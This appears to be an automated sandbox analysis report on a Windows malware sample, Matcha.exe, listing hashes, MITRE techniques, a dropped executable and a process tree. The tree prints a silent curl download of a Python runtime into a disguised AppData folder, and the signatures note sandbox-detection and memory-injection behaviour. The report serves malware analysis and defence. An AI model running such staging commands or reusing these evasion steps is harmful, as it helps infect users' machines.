f2c1d3b70903e152c0b49a706ba0bab13ec9dfaa28dc2019e4404015968c079c

Analysis

user interaction
yes
max time kernel
149s
max time network
150s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
03/08/2026, 15:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Matcha.exe
Size 284KB
Sample260803-sehrbsbc73
SHA256 f2c1d3b70903e152c0b49a706ba0bab13ec9dfaa28dc2019e4404015968c079c
MD5 57ffb958ab444f82647b403e2f657ce9
SHA1 1c2e1e0bb9c4627453c88ae3bc2b89c964c3c31f
SHA512 ce284b924ebc9e906d9fa19a3dd777b1313f2f59c8ebbd8f39fc6e61310fac216a94b3b42fb526a4e782c334792237d39c6290915b102246167a5c50760ab534
SSDEEP 6144:At4Q2frJUO/RRe1j1F7Ex9Q5lyMBBfcEoIfpmO1eL4klR:AqQ8rJn/RIp1mDKlXXfKIhezl
TLSH
T1FF541287FF119ADCC4414B30AA1B86A1D56CBA740F710AEB276777572D36FC0893A398
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
4824	Startup_Apps.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Startup_Apps.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Startup_Apps.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4068 wrote to memory of 4824	4068	Matcha.exe	83
PID 4824 wrote to memory of 3820	4824	Startup_Apps.exe	88

C:\Users\Admin\AppData\Local\Temp\Matcha.exe
"C:\Users\Admin\AppData\Local\Temp\Matcha.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4068
- C:\Users\Admin\AppData\Local\Temp\B85CFD7B\Startup_Apps.exe
  "C:\Users\Admin\AppData\Local\Temp\B85CFD7B\Startup_Apps.exe"
  2⤵
  - Executes dropped EXE
  - Checks processor information in registry
  - Suspicious use of WriteProcessMemory
  PID:4824
- - C:\Windows\SYSTEM32\curl.exe
    "curl" "-k" "-L" "-s" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.zip.downloading" "https://www.python.org/ftp/python/3.12.7/python-3.12.7-embed-amd64.zip"
    3⤵
    PID:3820

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Startup_Apps.exe

Path C:\Users\Admin\AppData\Local\Temp\B85CFD7B\Startup_Apps.exe
Size 1.1MB
SHA256 671ec5abb5b38af47b70fb8edd01dd384bfd15eeb5dd4ee1333c567afc0cdf72
MD5 d81a56aa9ef88734187fa0c6f284835e
SHA1 86d7b73ab50ddde15a59bf198a61ab1c93e4d3de
SHA512 ef19a025f8b044de1a1054a6e5b9cd85cdd38293cd062a46eda770b75c331f518506f8afdf50c10fc13f7f1216a164cdac2994545e9e06086d8b31fbb9a69b17
SSDEEP 12288:mZ+OE4MmD6/Oyspc5EEBBBHGBgzGerwGGvPqItNquB:mcb4M06WpoPrwpvP3f5
TLSH
T1BC357C83EBA3C5D8C156C8B5534BF137F9627C8E4A157196ABC41E633E67B64E22CB00
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download